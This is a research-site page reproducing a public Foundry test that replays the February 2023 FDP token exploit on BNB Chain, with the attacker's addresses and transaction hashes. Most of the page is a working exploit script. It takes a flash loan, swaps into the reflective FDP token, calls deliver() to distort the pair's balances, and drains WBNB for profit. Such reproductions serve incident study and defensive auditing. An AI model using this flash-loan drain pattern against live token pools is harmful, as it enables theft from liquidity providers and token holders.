Public reproduction file
src/test/2023-02/FDP_exp.sol
Public reproduction file for dataset entry - FDP.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";6// Attacker: https://bscscan.com/address/0xc726bd0e973722e17eb088b8fcfedaa931fa02937// Attack Contract: https://bscscan.com/address/0xe02970bd38b283c3079720c1e71001abe001bc838// Attack Tx: https://phalcon.blocksec.com/tx/bsc/0x09925028ce5d6a54801d04ff8f39e79af6c24289e84b301ddcdb6adfa51e901b9// https://bscscan.com/tx/0x09925028ce5d6a54801d04ff8f39e79af6c24289e84b301ddcdb6adfa51e901b11// @Analysis12// https://twitter.com/BeosinAlert/status/162280601126977126614contract Exploit is Test {15 IWETH private constant WBNB = IWETH(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);16 reflectiveERC20 private constant FDP = reflectiveERC20(0x1954b6bd198c29c3ecF2D6F6bc70A4D41eA1CC07);17 IUniswapV2Pair private constant FDP_WBNB = IUniswapV2Pair(0x6db8209C3583E7Cecb01d3025c472D1eDDBE49F3);19 IRouter private constant router = IRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E);20 IDPPOracle private constant DPP = IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);22 function testHack() external {23 vm.createSelectFork("bsc", 25_430_418);25 // flashloan 16.32 WBNB26 DPP.flashLoan(16.32 ether, 0, address(this), "0x1");27 }29 function DPPFlashLoanCall(address, uint256 baseAmount, uint256, bytes calldata) external {30 // console.log("%s FDP in Pair before swap", FDP.balanceOf(address(FDP_WBNB)) / 1e18); // putting console.log here make test fail ?32 // swap some WBNB to FDP33 WBNB.approve(address(router), type(uint256).max);34 FDP.approve(address(router), type(uint256).max);35 address[] memory path = new address[](2);36 path[0] = address(WBNB);37 path[1] = address(FDP);38 router.swapExactTokensForTokensSupportingFeeOnTransferTokens(39 16.32 ether, 0, path, address(this), type(uint256).max40 );42 console.log("%s FDP in Pair before deliver", FDP.balanceOf(address(FDP_WBNB)) / 1e18);43 console.log("%s FDP in attack contract before deliver", FDP.balanceOf(address(this)) / 1e18);44 console.log("-------------Delivering-------------");45 // 49925109590047580102880 in attack contract before deliver46 FDP.deliver(28_463.16 ether); // 28463162603585437380302 (8 decimals)48 console.log("%s FDP in Pair after deliver", FDP.balanceOf(address(FDP_WBNB)) / 1e18);49 console.log("%s FDP in attack contract after deliver", FDP.balanceOf(address(this)) / 1e18);51 FDP_WBNB.swap(52 0,53 WBNB.balanceOf(address(FDP_WBNB)) - 0.15 ether, // 32.44 ether54 address(this),55 ""56 );58 // repay59 WBNB.transfer(address(DPP), baseAmount);60 console.log("\n Attacker's profit: %s WBNB", WBNB.balanceOf(address(this)) / 1e18);61 }62}64/* -------------------- Interface -------------------- */65interface reflectiveERC20 {66 function transfer(address to, uint256 amount) external returns (bool);67 function approve(address spender, uint256 amount) external returns (bool);68 function balanceOf(69 address account70 ) external view returns (uint256);71 function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);73 function deliver(74 uint256 tAmount75 ) external;76}78interface IWETH {79 function deposit() external payable;80 function transfer(address to, uint256 value) external returns (bool);81 function approve(address guy, uint256 wad) external returns (bool);82 function withdraw(83 uint256 wad84 ) external;85 function balanceOf(86 address87 ) external view returns (uint256);88}90interface IDPPOracle {91 function flashLoan(uint256 baseAmount, uint256 quoteAmount, address sender, bytes calldata data) external;92}94interface IRouter {95 function swapExactTokensForTokensSupportingFeeOnTransferTokens(96 uint256 amountIn,97 uint256 amountOutMin,98 address[] calldata path,99 address to,100 uint256 deadline101 ) external;102}104interface IUniswapV2Pair {105 function balanceOf(106 address107 ) external view returns (uint256);108 function skim(109 address to110 ) external;111 function sync() external;112 function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes memory data) external;113}Analysis
Dataset entry
Public Foundry test for “- FDP” (2023-02-06). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
14 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-02/BonqDAO_exp.solSame month in the dataset · 533 lines
- src/test/2023-02/CowSwap_exp.solSame month in the dataset · 64 lines
- src/test/2023-02/Dexible_exp.solSame month in the dataset · 83 lines
- src/test/2023-02/dForce_exp.solSame month in the dataset · 382 lines
- src/test/2023-02/DYNA_exp.solSame month in the dataset · 132 lines
- src/test/2023-02/EFVault_exp.solSame month in the dataset · 38 lines
- src/test/2023-02/LaunchZone_exp.solSame month in the dataset · 146 lines
- src/test/2023-02/Orion_exp.solSame month in the dataset · 191 lines
- src/test/2023-02/Platypus_exp.solSame month in the dataset · 138 lines
- src/test/2023-02/RevertFinance_exp.solSame month in the dataset · 91 lines
- src/test/2023-02/Sheep_exp.solSame month in the dataset · 72 lines
- src/test/2023-02/USDs_exp.solSame month in the dataset · 51 lines
- src/test/2023-02/Starlink_exp.solSame month in the dataset · 80 lines
- src/test/2023-02/SwapX_exp.solSame month in the dataset · 83 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xc726bd0e973722e17eb088b8fcfedaa931fa0293
- Attack Contract
0xe02970bd38b283c3079720c1e71001abe001bc83
- Attack Tx
0x09925028ce5d6a54801d04ff8f39e79af6c24289e84b301ddcdb6adfa51e901b
- Explorer: https://bscscan.com/address/0xc726bd0e973722e17eb088b8fcfedaa931fa0293
- Explorer: https://bscscan.com/address/0xe02970bd38b283c3079720c1e71001abe001bc83
- Explorer: https://bscscan.com/tx/0x09925028ce5d6a54801d04ff8f39e79af6c24289e84b301ddcdb6adfa51e901b
- Reference: https://twitter.com/BeosinAlert/status/1622806011269771266
File record
- Name
- FDP
- Path
- src/test/2023-02/FDP_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- b8bfac29cbd9135245a2411525e67d07c8859480
- Language
- Solidity
- Size
- 114 lines
- Date
- 2023-02-06
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-02/FDP_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob b8bfac29cbd9135245a2411525e67d07c8859480, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.